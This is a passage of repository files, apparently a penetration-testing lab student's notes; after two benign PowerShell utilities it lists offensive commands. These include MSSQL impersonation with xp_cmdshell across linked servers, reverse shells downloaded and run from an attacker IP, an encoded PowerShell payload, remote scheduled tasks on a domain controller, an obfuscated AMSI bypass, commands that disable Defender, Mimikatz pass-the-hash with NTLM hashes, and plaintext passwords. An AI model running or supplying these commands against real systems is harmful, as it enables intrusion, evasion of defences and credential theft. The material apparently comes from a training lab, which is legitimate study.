147 | 148 | } 149 | Catch { 150 | Write-Warning "[$($session.computername.ToUpper())] $($_.Exception.Message)" 151 | $cimParams.cimsession = $null 152 | } 153 | 154 | } #foreach computer 155 | } 156 | 157 | foreach ($item in $AV) { 158 | Write-Verbose "[PROCESS] Found $($item.Displayname)" 159 | $hx = ConvertTo-Hex $item.ProductState 160 | $mid = $hx.Substring(3,2) 161 | if ($mid -match "00|01") { 162 | $Enabled = $False 163 | } 164 | else { 165 | $Enabled = $True 166 | } 167 | $end = $hx.Substring(5) 168 | if ($end -eq "00") { 169 | $UpToDate = $True 170 | } 171 | else { 172 | $UpToDate = $False 173 | } 174 | 175 | $results += $item | Select Displayname,ProductState, 176 | @{Name="Enabled";Expression = {$Enabled}}, 177 | @{Name = "UpToDate";Expression = {$UptoDate}}, 178 | @{Name = "Path"; Expression = {$_.pathToSignedProductExe}}, 179 | Timestamp, 180 | @{Name = "Computername"; Expression = {$_.PSComputername.toUpper()}} 181 | 182 | } #foreach 183 | 184 | } #process 185 | 186 | End { 187 | If ($All) { 188 | $results 189 | } 190 | else { 191 | #filter for enabled only 192 | ($results).Where({$_.enabled}) 193 | } 194 | 195 | Write-Verbose "[END ] Ending: $($MyInvocation.Mycommand)" 196 | } #end 197 | 198 | } #end function 199 | -------------------------------------------------------------------------------- /Notes/Get-WmiNamespace.ps1: -------------------------------------------------------------------------------- 1 | #region Function Get-WmiNamespace 2 | Function Get-WmiNamespace { 3 | <# 4 | .SYNOPSIS 5 | This function is used to get WMI namespace information. 6 | .DESCRIPTION 7 | This function is used to get the details of one or more WMI namespaces. 8 | .PARAMETER Namespace 9 | Specifies the namespace(s) path(s). Supports wildcards only when not using the -Recurse or -List switch. Can be piped. 10 | .PARAMETER List 11 | This switch is used to list all namespaces in the specified path. Cannot be used in conjunction with the -Recurse switch. 12 | .PARAMETER Recurse 13 | This switch is used to get the whole WMI namespace tree recursively. Cannot be used in conjunction with the -List switch. 14 | .EXAMPLE 15 | C:\PS> Get-WmiNamespace -NameSpace 'ROOT\SCCM' 16 | .EXAMPLE 17 | C:\PS> Get-WmiNamespace -NameSpace 'ROOT\*CM' 18 | .EXAMPLE 19 | C:\PS> Get-WmiNamespace -NameSpace 'ROOT' -List 20 | .EXAMPLE 21 | C:\PS> Get-WmiNamespace -NameSpace 'ROOT' -Recurse 22 | .EXAMPLE 23 | C:\PS> 'Root\SCCM', 'Root\SC*' | Get-WmiNamespace 24 | .INPUTS 25 | System.String[]. 26 | .OUTPUTS 27 | System.Management.Automation.PSCustomObject. 28 | 'Name' 29 | 'Path' 30 | 'FullName' 31 | .NOTES 32 | This is a public module function and can typically be called directly. 33 | .LINK 34 | https://github.com/JhonnyTerminus/PSWmiToolKit 35 | .LINK 36 | https://sccm-zone.com 37 | .COMPONENT 38 | WMI 39 | .FUNCTIONALITY 40 | WMI Management 41 | #> 42 | [CmdletBinding()] 43 | Param ( 44 | [Parameter(Mandatory=$true,ValueFromPipeline,Position=0)] 45 | [ValidateNotNullorEmpty()] 46 | [SupportsWildcards()] 47 | [string[]]$Namespace, 48 | [Parameter(Mandatory=$false,Position=1)] 49 | [ValidateNotNullorEmpty()] 50 | [ValidateScript({ 51 | If ($Namespace -match '\*') { Throw 'Wildcards are not supported with this switch.' } 52 | Return $true 53 | })] 54 | [switch]$List = $false, 55 | [Parameter(Mandatory=$false,Position=2)] 56 | [ValidateNotNullorEmpty()] 57 | [ValidateScript({ 58 | If ($Namespace -match '\*') { Throw 'Wildcards are not supported with this switch.' } 59 | Return $true 60 | })] 61 | [switch]$Recurse = $false 62 | ) 63 | 64 | Begin { 65 | ## Get the name of this function and write header 66 | [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name 67 | #Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header 68 | 69 | ## Initialize result variable 70 | [PSCustomObject]$GetNamespace = $null 71 | } 72 | Process { 73 | Try { 74 | 75 | ## Get namespace tree recursively if specified, otherwise just get the current namespace 76 | If ($Recurse) { 77 | 78 | # Call Get-WmiNamespaceRecursive internal function 79 | $GetNamespace = Get-WmiNamespaceRecursive -Namespace $Namespace -ErrorAction 'SilentlyContinue' | Sort-Object -Property Path 80 | } 81 | Else { 82 | 83 | ## If namespace is 'ROOT' or -List is specified get namespace else get Parent\Leaf namespace 84 | If ($List -or ($Namespace -eq 'ROOT')) { 85 | $WmiNamespace = Get-CimInstance -Namespace $([string]$Namespace) -ClassName '__Namespace' -ErrorAction 'SilentlyContinue' -ErrorVariable Err 86 | } 87 | Else { 88 | # Set namespace path and name 89 | [string]$NamespaceParent = $(Split-Path -Path $Namespace -Parent) 90 | [string]$NamespaceLeaf = $(Split-Path -Path $Namespace -Leaf) 91 | # Get namespace 92 | $WmiNamespace = Get-CimInstance -Namespace $NamespaceParent -ClassName '__Namespace' -ErrorAction 'SilentlyContinue' -ErrorVariable Err | Where-Object { $_.Name -like $NamespaceLeaf } 93 | } 94 | 95 | ## If no namespace is found, write debug message and optionally throw error is -ErrorAction 'Stop' is specified 96 | If (-not $WmiNamespace -and $List -and (-not $Err)) { 97 | $NamespaceChildrenNotFoundErr = "Namespace [$Namespace] has no children." 98 | Write-Log -Message $NamespaceChildrenNotFoundErr -Severity 2 -Source ${CmdletName} -DebugMessage 99 | Write-Error -Message $NamespaceChildrenNotFoundErr -Category 'ObjectNotFound' 100 | } 101 | ElseIf (-not $WmiNamespace) { 102 | $NamespaceNotFoundErr = "Namespace [$Namespace] not found." 103 | Write-Log -Message $NamespaceNotFoundErr -Severity 2 -Source ${CmdletName} -DebugMessage 104 | Write-Error -Message $NamespaceNotFoundErr -Category 'ObjectNotFound' 105 | } 106 | ElseIf (-not $Err) { 107 | $GetNamespace = $WmiNamespace | ForEach-Object { 108 | [PSCustomObject]@{ 109 | Name = $Name = $_.Name 110 | # Standardize namespace path separator by changing it from '/' to '\'. 111 | Path = $Path = $_.CimSystemProperties.Namespace -replace ('/','\') 112 | FullName = "$Path`\$Name" 113 | } 114 | } 115 | } 116 | } 117 | } 118 | Catch { 119 | Write-Log -Message "Failed to retrieve wmi namespace [$Namespace]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} 120 | Break 121 | } 122 | Finally { 123 | 124 | ## If we have anyting to return, add typename for formatting purposes, otherwise set the result to $null 125 | If ($GetNamespace) { 126 | $GetNamespace.PSObject.TypeNames.Insert(0,'Get.WmiNamespace.Typename') 127 | } 128 | Else { 129 | $GetNamespace = $null 130 | } 131 | 132 | ## Return result 133 | Write-Output -InputObject $GetNamespace 134 | } 135 | } 136 | End { 137 | #Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer 138 | } 139 | } 140 | #endregion -------------------------------------------------------------------------------- /Notes/Heidi_Commands.ps1: -------------------------------------------------------------------------------- 1 | EXECUTE as LOGIN = 'dbuser'; EXECUTE as LOGIN = 'sa'; 2 | Select is_srvRolemember('sysadmin'); 3 | EXEC sp_configure 'show advanced options',1; 4 | EXEC sp_configure 'xp_cmdshell',1; 5 | RECONFIGURE; 6 | EXEC master..xp_cmdshell 'whoami'; 7 | EXEC master..xp_cmdshell 'xcopy \\PA-USER149\shared\PowerUp.ps1 C:\Users\MSSQLSERVER\Documents'; 8 | EXEC master..xp_cmdshell 'powershell . C:\Users\MSSQLSERVER\Documents\PowerUp.ps1; Invoke-ServiceAbuse -Name ''ALG'' -Username USFUN\pastudent149'; 9 | SELECT * FROM OPENQUERY("ufc-db1", 'Select IS_SRVROLEMEMBER(''sysadmin'');'); 10 | SELECT * FROM master..sysservers; 11 | SELECT * FROM OPENQUERY("UFC-DB1", 'select * from openquery("UFC-DBPROD", ''select * from master..sysservers'')'); 12 | SELECT * FROM OPENQUERY("UFC-DB1", 'select * from openquery("UFC-DBPROD", ''select system_user;'')'); 13 | SELECT * FROM OPENQUERY("UFC-DB1", 'select * from openquery("UFC-DBPROD", ''execute as login = 'sa'; '')'); 14 | SELECT * FROM OPENQUERY("UFC-DB1", 'select system_user;'); 15 | SELECT * FROM OPENQUERY("UFC-DB1", 'Select IS_SRVROLEMEMBER(''sysadmin'');'); 16 | SELECT * FROM OPENQUERY("UFC-DB1", 'exec sp_configure ''show_advanced_options'',1;'); 17 | SELECT * FROM OPENQUERY("UFC-DB1", 'exec master..xp_cmdshell ''whoami'';'); 18 | EXECUTE('sp_configure','show_advanced_options',',1') at "UFC-DB1"; 19 | EXECUTE('sp_configure','xp_cmdshell',',1') at "UFC-DB1"; 20 | EXECUTE('reconfigure') at "UFC-DB1"; 21 | EXECUTE('exec master..xp_cmdshell "powershell whoami /all"') AT "ufc-db1"; 22 | EXECUTE('exec master..xp_cmdshell "powershell icacls C:\Users\dbservice\Documents"') AT "ufc-db1"; 23 | EXECUTE('exec master..xp_cmdshell "xcopy \\192.168.50.149\shared\PowerUp.ps1 C:\Users\dbservice"') AT "UFC-DB1"; 24 | EXECUTE('exec master..xp_cmdshell "powershell -e TZFNa8JAEIbvgv9hDmmzS82SqJFqqNCGtghFpRF6EA9rMpjUGMWMqKj/vdl81dMOy/vxzG6zoflxhAnBC4zxaEyWv+gTeOeUcCPGSMLb+mukVMzcqZsrmW7128LqPQvbFFa3r7e63Q53tJT2KDdZTpkoPpG8/I5xZ748E84XC02daSYyhejZdse+PlzMm3MMoxgZ0yJlL4LEN8qAFfoWmC0oRvGFyYpCzsFIEEx+cbRAksx87I7fmJ13OJYbrDaZ4YnEq+eORu+Jvw2iZMVLvmysWlRJpDbBJFhKf61CIzxB0dAePlpwhcmBjMIGd9I25OSV8Qn0qQd6drLdMeBiKilUl0PQS09WqOLnpMCwZFoMBjljzvammNh/Q/3E4mcfEbI6J+Ou5+p5au1HfEhDxm9O9StuvE2R8Waj2fgD"') AT "UFC-DB1"; 25 | EXECUTE('exec master..xp_cmdshell "ping -n 2 UFC-SQLDev"') AT "ufc-db1"; 26 | EXECUTE('exec master..xp_cmdshell "powershell iex((New-Object Net.WebClient).DownloadString(''http://192.168.50.149/RevShell.ps1''))"') AT "UFC-DB1"; 27 | EXECUTE('exec master..xp_cmdshell "powershell get-service"') AT "UFC-DB1"; -------------------------------------------------------------------------------- /Notes/PowerUpSQL_Commands.ps1: -------------------------------------------------------------------------------- 1 | ## Discovery 2 | # Look at every port running 1433 and see what we got 3 | [System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources() 4 | # You can use Invoke-Portscan 5 | Invoke-PortScan -StartAddress 192.168.0.2 -EndAddress 192.168.0.5 -ScanPort -Verbose 6 | # If you are on a box that already has sql server, you can do local enumeration 7 | Import-Module -Name SQLPS 8 | Get-ChildItem SQLServer:\SQL\Get-ChildItem UFC-SQLDev 9 | # Local Enum 10 | Get-SErvice -Name MSSQL* 11 | # Domain Scanning 12 | 13 | 14 | 15 | 16 | 17 | ###Power-upSQL Commands 18 | Import-Module .\PowerUpSQL.ps1 19 | 20 | # Enumerate 21 | $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnection 22 | TestThreaded -Verbose -Threads 10 | Where-Object {$_.status -like "Accessible"} 23 | $Targets | Get-SQLServerInfo 24 | Get-SQLInstanceLocal -Verbose 25 | # Enumerate Shared Accounts 26 | Get-SQLInstanceDomain -Verbose | Group-Object DomainAccount 27 | Get-SQLInstanceDomain -Verbose -DomainAccount db1user 28 | 29 | 30 | # See targets 31 | $Targets | Get-SQLServerInfo -Verbose 32 | $Targets | Get-SQLDatabase 33 | 34 | # Fuzz the target for logins 35 | Get-SQLFuzzServerLogin -Verbose -Instance UFC-SQLDev 36 | Get-SQLFuzzDomainAccount -Verbose -Instance UFC-SQLDev 37 | #Check for weak login passwords 38 | Invoke-SQLAuditWeakLoginPw -Verbose -Instance UFC-SQLDev 39 | Get-SQLInstanceLocal | Invoke-SQLAuditWeakLoginPw -Verbose 40 | 41 | #Dump them 42 | Get-SQLServiceAccountPwHashes -Verbose -TimeOut 2 -CaptureIp 192.168.50.149 43 | # keywords to look for in columns 44 | $targets | Get-SQLColumnSampleDataThreaded -Verbose -SampleSize 2 -Keywords "password,NTLM" -NoDefaults | ft -AutoSize 45 | 46 | 47 | #check for Privileges 48 | $Targets | Get-SQLServerInfo -Verbose | Select-Object Instance.IsSyadmin -Unique 49 | #impersonate 50 | Invoke-SQLImpersonateService -Verbose -Instance UFC-SQLDev\UFC-SQLDev 51 | 52 | #Escalate! 53 | Invoke-SQLEscalatePriv -Verbose -Instance UFC-SQLDev.us.funcorp.local 54 | #validate privs by running "check for privileges" above 55 | #Escalate again. You can get the ip address from running Get-NetSession -ComputerName, is where the attack should send info 56 | Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.50.149 57 | # If that works, then a bunch of yellow NTLM hases are dumped. If no output, didn't work. 58 | # If you save the above output, then you can do this: 59 | $output | select netntlmv2 60 | 61 | #Defense Evasion - Check for auditing 62 | Get-SQLAuditServerSpec 63 | Get-SQLAuditDatabaseSpec 64 | 65 | ## Privesc 66 | Get-SQLInstanceDomain 67 | Get-SQLServerInfo -Verbose -Instance UFC-SQLDev.us.funcorp.local 68 | # if you are running as domain admin but need to impersonate, then do: 69 | Invoke-SQLImpersonateService -Verbose -Instance UFC-SQLDev.us.funcorp.local 70 | # once complete with elevated privileges, you can revert back 71 | Invoke-SQLImpersonateService -Verbose -Rev2Self 72 | 73 | ##Remote Code Execution 74 | Invoke-SQLOSCmdOle -Verbose -Command whoami -Instance UFC-SQLDev -Username db1user -Password "password" 75 | 76 | # Try using some sql commands 77 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "SELECT DISTINCT b.name from sys.server_permissions a inner join sys.server_principals b on a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'" 78 | # that returns who you can impersonate, so now lets elevate 79 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXECUTE as LOGIN = 'dbuser'; SELECT IS_SRVROLEMEMBER('sysadmin');" 80 | # Can I chain the users together? 81 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXECUTE as LOGIN = 'dbuser'; EXECUTE as LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER('sysadmin');" 82 | # Now let's add our ability to execute 83 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXECUTE as LOGIN = 'dbuser'; EXECUTE as LOGIN = 'sa'; EXEC sp_addsrvrolemember 'USFUN\pastudent149','sysadmin';" 84 | # Did it work? If it is a one, you win! 85 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "SELECT IS_SRVROLEMEMBER('sysadmin');" 86 | # Enable xp_cmdshell 87 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXEC sp_configure 'show advanced options',1; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;" 88 | # Now you can execute from the command line 89 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXEC master..xp_cmdshell 'whoami';" 90 | # Now copy over the files you want to execute 91 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXEC master..xp_cmdshell 'dir C:\Temp';" 92 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXEC master..xp_cmdshell 'dir C:\Users';" 93 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXEC master..xp_cmdshell 'dir C:\Users\MSSQLSERVER';" 94 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXEC master..xp_cmdshell 'icacls C:\Users\MSSQLSERVER\Documents';" 95 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXEC master..xp_cmdshell 'xcopy \\PA-USER149\shared\PowerUp.ps1 C:\Users\MSSQLSERVER\Documents';" 96 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXEC master..xp_cmdshell 'powershell . C:\Users\MSSQLSERVER\Documents\PowerUp.ps1; Invoke-AllChecks';" 97 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXEC master..xp_cmdshell 'powershell . C:\Users\MSSQLSERVER\Documents\PowerUp.ps1; Invoke-ServiceAbuse -Name ''ALG'' -Username USFUN\pastudent149';" 98 | 99 | #Iterate through tables 100 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "SELECT * FROM information_schema.tables;" 101 | GEt-sQLQuery -Instance "UFC-SQLDEv" -Query "SELECT name from sys.server_principals;" 102 | GEt-sQLQuery -Instance "UFC-SQLDEv" -Query "SELECT * from information_schema.tables;" 103 | Get-sqlQuery -Instance "UFC-SQLDev" -Query "SELECT * FROM sys.objects ;" 104 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "SELECT name FROM sys.databases;" 105 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "SELECT name, password_hash FROM sys.sql_logins;" 106 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "Use tempdb; SELECT * FROM information_schema.tables;" 107 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "Use tempdb; SELECT TABLE_NAME FROM information_schema.tables;" 108 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "Use tempdb; SELECT * FROM #A4C4CDDB;" 109 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "Use DeveloperInformation; SELECT TABLE_NAME FROM information_schema.tables;" 110 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "Use DeveloperInformation; SELECT * FROM API;" # Winner, found a flag here! 111 | 112 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "Use DeveloperInformation; SELECT TABLE_NAME FROM information_schema.tables;" | ForEach-Object { $_.TABLE_NAME } 113 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "Use DeveloperInformation; SELECT TABLE_NAME FROM information_schema.tables;" | ForEach-Object { Get-SQLQuery -Instance "UFC-SQLDev" -Query "Use DeveloperInformation; SELECT * FROM $_.TABLE_NAME;" } 114 | 115 | ### Are there any trust abuse options 116 | # Are there any links in the database that link to other databases? 117 | Get-SQLServerLinkCrawl -Instance UFC-SQLDev -Verbose 118 | # If you can, now you know who to be on each box as you move across 119 | Get-SQLServerLinkCrawl -INstance UFC-SQLDev -Query "exec master..xp_cmdshell 'whoami'" | ft 120 | # Can I chain the users together? 121 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "EXECUTE as LOGIN = 'dbuser'; EXECUTE as LOGIN = 'sa';EXEC sp_addsrvrolemember 'USFUN\pastudent149','sysadmin'; " 122 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "SELECT IS_SRVROLEMEMBER('sysadmin');" 123 | Get-SQLQuery -Instance "UFC-SQLDev" -Query "select * from Query -Instance 'UFC-SQLDev' -Query 'select * from openquery(''ufc-db1'', ''execute as login = 'sa';EXEC sp_addsrvrolemember 'USFUN\pastudent149','sysadmin';'')"; 124 | Get-SQLServerLinkCrawl -Instance UFC-SQLDev -Query "exec master..xp_cmdshell 'powershell iex(New-Object Net.WEbClient).DownloadString(''https://192.168.50.149/RevShell.ps1'')'" | ft -------------------------------------------------------------------------------- /Notes/PrivEsc.ps1: -------------------------------------------------------------------------------- 1 | ## Privesc Options 2 | 3 | 4 | 5 | 6 | 7 | ## What access do we have? 8 | # Do we have HOST service access? We can do scheduled tasks. 9 | schtasks /query /S ufc-dc1.us.funcorp.local 10 | # Can we create us one? 11 | $action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -c IEX((New-Object Net.WebClient).downloadString(''http://192.168.50.149/IPSTO.ps1'')) " ' 12 | $trigger = New-ScheduledTaskTrigger -Once -At 22:08 13 | Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "HitMe" -Description "shell me up" 14 | # Not sure how to use Register-ScheduledTask remotely, guess we'll go old-school with schtasks 15 | schtasks /create /S ufc-dc1.us.funcorp.local /tn "HitMe" /tr "powershell.exe -c iex ((new-Object Net.WebClient).DownloadString('http://192.168.50.149/IPSTO.ps1'))" /sc once /st 06:11 /sd 05/12/2020 16 | schtasks /create /S ufc-dc1.us.funcorp.local /tn "HitMe" /tr "powershell.exe -NoProfile -WindowStyle Hidden -command &{iex ((new-Object Net.WebClient).DownloadString('http://192.168.50.149/IPSTO.ps1')) }" /sc once /st 22:44 /sd 05/11/2020 17 | # Runs the task now! 18 | schtasks /run /tn "HitMe" /S ufc-dc1.us.funcorp.local -------------------------------------------------------------------------------- /Notes/Recon.ps1: -------------------------------------------------------------------------------- 1 | systeminfo # OS, Architecture, and hostname 2 | Get-ChildItem ENV: | ft Key,Value # Any environmental variables cool? 3 | Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"} | ft Name,Root # Connected drives? 4 | 5 | # Users 6 | $env:UserName 7 | whoami /priv 8 | Get-LocalUser | ft Name,Enabled,LastLogon 9 | Get-ChildItem C:\Use -Force | select Name 10 | 11 | #groups 12 | Get-LocalGroup | ft Name 13 | Get-LocalGroupMember Administrators | ft name, principalSource 14 | 15 | # Autologon? 16 | Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' | select "Defaults" 17 | 18 | # Credential Manager? 19 | Get-ChildItem -Hidden ~\AppData\Local\Microsoft\Credentials 20 | Get-ChildItem -Hidden ~\AppData\Roaming\Microsoft\Credentials 21 | 22 | #installed Software 23 | gci 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent, Name,LastWriteTime 24 | gci -Path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name 25 | 26 | # Full permissions? 27 | icacls 'C:\Program Files\*' 2>null | findstr "(F)" | findstr "Everyone" 28 | icacls 'C:\Program Files (x86)\*' 2>null | findstr "(F)" | findstr "Everyone" 29 | icacls 'C:\Program Files\*' 2>null | findstr "(F)" | findstr "BUILTIN\Users" 30 | icacls 'C:\Program Files (x86)\*' 2>null | findstr "(F)" | findstr "BUILTIN\Users" 31 | 32 | #Modify Permissions? 33 | icacls 'C:\Program Files\*' 2>null | findstr "(M)" | findstr "Everyone" 34 | icacls 'C:\Program Files (x86)\*' 2>null | findstr "(M)" | findstr "Everyone" 35 | icacls 'C:\Program Files\*' 2>null | findstr "(M)" | findstr "BUILTIN\Users" 36 | icacls 'C:\Program Files (x86)\*' 2>null | findstr "(M)" | findstr "BUILTIN\Users" 37 | 38 | # Running Processes 39 | Get-Process | where {$_.ProcessName -notlike "svchost"} | ft processname,id 40 | Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost"} | select Name,Handle,@{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize 41 | 42 | # Weak service permissions 43 | gwmi -Class Win32_Service -Property Name, DisplayName, PathName,StartMode | where {$_.StartMode -eq "Auto" -and $_.pathname -notlike "C:\Windows*" -and $_.pathName -notlike '"*'} | select PathName,DisplayName,Name 44 | 45 | #custom scheduled tasks 46 | Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State 47 | 48 | # Turn off defender 49 | Set-MpPreference -DisableRealtimeMonitoring $true # Must be admin 50 | 51 | ## Applocker go-around 52 | # See what is there 53 | Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections 54 | 55 | ### Getting around AMSI 56 | # 57 | sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ("1q2u" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) 58 | # that only works for the session you are in 59 | # other options for the AV are below. First list to see what is in effect 60 | Invoke-Command -ScriptBlock{ Get-MpPreference } 61 | # Then just disable if you have the permissions 62 | Invoke-Command -Session $sess -ScriptBlock { Set-ExecutionPolicy bypass; Set-MpPreference -DisableRealtimeMonitoring $true} 63 | Invoke-Command -ScriptBlock{ Set-MpPreference -DisableIOAVProtection $true} -Session $sess 64 | Invoke-Command -ScriptBlock{ Set-MpPreference -DisableRealtimeMonitoring $true} #-Session $sess 65 | Set-ItemProperty -Path "Registry::HKLM\SOFTWARE\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Force 66 | # Getting files around 67 | iex (iwr http://192.168.49.150/Invoke-Mimikatz.ps1) 68 | # check to see if it really got loaded in memory 69 | help Invoke-Mimikatz 70 | # if it still gets blocked, try downloading the AMSI bypass in a PS1 file and then repeat 71 | IEX((New-Object Net.WebClient).DownloadString('http:///lovely.ps1')) 72 | 73 | ### Interesting Files Extraction 74 | # TightVNC Password 75 | $passwordTVNC = Get-ItemProperty HKLM:\SOFTWARE\TightVNC\Server | Select Password -ExpandProperty Password 76 | $asHex = ($passwordTVNC | ForEach-Object ToString x2) -join "" 77 | $asHex # Now you have the hash to crack 78 | vncpwd.exe $asHex 79 | # Find files that may have passwords 80 | Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} 81 | reg query "HKCU\Software\ORL\WinVNC3\Password" 82 | reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" #Autologin 83 | reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s 84 | reg query "HKCU\Software\TightVNC\Server" 85 | reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s #Check the values saved in each session, user/password could be there 86 | reg query "HKCU\Software\OpenSSH\Agent\Key" 87 | # Search for passwords inside all the registry. Takes a while, so don't do it unless you are just desperate..the registry is huge 88 | reg query HKLM /f password /t REG_SZ /s #Look for registries that contains "password" 89 | reg query HKCU /f password /t REG_SZ /s #Look for registries that contains "password" 90 | reg query HKLM /f sqlreportuser /t REG_SZ /s #Look for registries that contains "password" 91 | # what security packages are loaded? 92 | Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\lsa\OSConfig\ -Name 'Security Packages' | select -ExpandProperty 'Security Packages' 93 | # find a process that is running you want to dump? 94 | Get-Process 95 | Out-MiniDump -Process (Get-Process -Id XXXX) 96 | # If you have FlaUI version 3 available on the box, you can use FlaUI to see running process text 97 | # after you dump, you can use select-string or strings.exe to parse through and review 98 | # Now pull out any web credentials 99 | Get-WEbCredentials 100 | # The FileZilla flag is in the AppData directory of one of them, let's enumerate 101 | Invoke-Command -Session $sess -ScriptBlock { gci C:\Users\dbadmin\AppData\Roaming\FileZilla } 102 | 103 | ## File search tricks 104 | Invoke-Command -Session $sess -scriptblock { $findDate = Get-Date -Year 2019 -Month 10 -Day 30} 105 | Invoke-Command -Session $sess -scriptblock { gci -Path C:\ -Include *.ps1 -File -Recurse -Erroraction 'silentlycontinue' -Force | where-object{ $_.LastWriteTime -ge $FindDate} } 106 | 107 | ## Example credential Commands 108 | # Setting up username/password 109 | $user = "USFUN\pastudent149"; $pass = ConvertTo-SecureString -String "vEaXa3xHGZrUgkYb" -AsPlainText -Force; $cred149 = New-Object System.Management.Automation.PSCredential -ArgumentList $user, $pass 110 | $sessTo149 = New-PSSession -Credential $cred -ComputerName "PA-User149" 111 | # using that to copy between sessions. There is also a -ToSession flag 112 | Copy-Item C:\Users\pastudent149\Documents\Invoke-Mimikatz.ps1 -Destination .\Invoke-Mimikatz.ps1 -FromSession $sessTo149 113 | 114 | 115 | ## Does this guy have database connections? 116 | Invoke-SQLDumpInfo -Verbose -Instance 117 | gc *links.csv -------------------------------------------------------------------------------- /Notes/Saved_Commands.ps1: -------------------------------------------------------------------------------- 1 |  2 | $user = "USFUN\pastudent149"; $pass = ConvertTo-SecureString -String "vEaXa3xHGZrUgkYb" -AsPlainText -Force; $cred149 = New-Object System.Management.Automation.PSCredential -ArgumentList $user, $pass 3 | $sessTo149 = New-PSSession -Credential $cred -ComputerName "PA-User149" 4 | Copy-Item C:\Users\pastudent149\Documents\Invoke-Mimikatz.ps1 -Destination .\Invoke-Mimikatz.ps1 -FromSession $sessTo149 5 | Copy-Item C:\Users\pastudent149\Documents\PowerUp.ps1 -Destination .\PowerUp.ps1 -FromSession $sessTo149 6 | Copy-Item C:\Users\pastudent149\Documents\PowerView.ps1 -Destination .\PowerView.ps1 -FromSession $sessTo149 7 | 8 | $user = "usfun\db1user" 9 | $pass = ConvertTo-SecureString -String "Vjltv1Enivad1232" -AsPlainText -Force 10 | $cred = New-Object System.Management.Automation.PSCredential -ArgumentList $user, $pass 11 | 12 | iex(iwr http://192.168.50.149/Invoke-Mimikatz.ps1) 13 | 14 | .\IM.ps1 -Command '"sekurlsa::pth /user:jumpsrvadmin /domain:USFUN /ntlm:2b103377e6368077f71085dc6ce8b81b /run:powershell.exe"' 15 | Invoke-Mimikatz -Command '"sekurlsa::pth /user:jumpsrvadmin /domain:USFUN /ntlm:2b103377e6368077f71085dc6ce8b81b /run:powershell_ise.exe"' 16 | Invoke-Mimikatz -Command '"sekurlsa::pth /user:appadmin /domain:USFUN /ntlm:fbf4f078e639b8adc94791127b86bb49 /run:powershell_ise.exe"' 17 | Invoke-Mimikatz -Command '"sekurlsa::pth /user:db1user /domain:USFUN /password:Vjltv1Enivad1232 /run:powershell.exe"' 18 | 19 | Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:USFUN /ntlm:1a9dfebcfd67f578d55f6878d629abdb /run:powershell_ise.exe"' 20 | Add-Content IM.ps1 "Invoke-Mimikatz -Command 'privilege::debug token::elevate lsadump::lsa /patch' " 21 | 22 | #Found the TightVNC Password in the registry 23 | $passwordTVNC = Get-ItemProperty HKLM:\SOFTWARE\TightVNC\Server | Select Password -ExpandProperty Password 24 | $asHex = 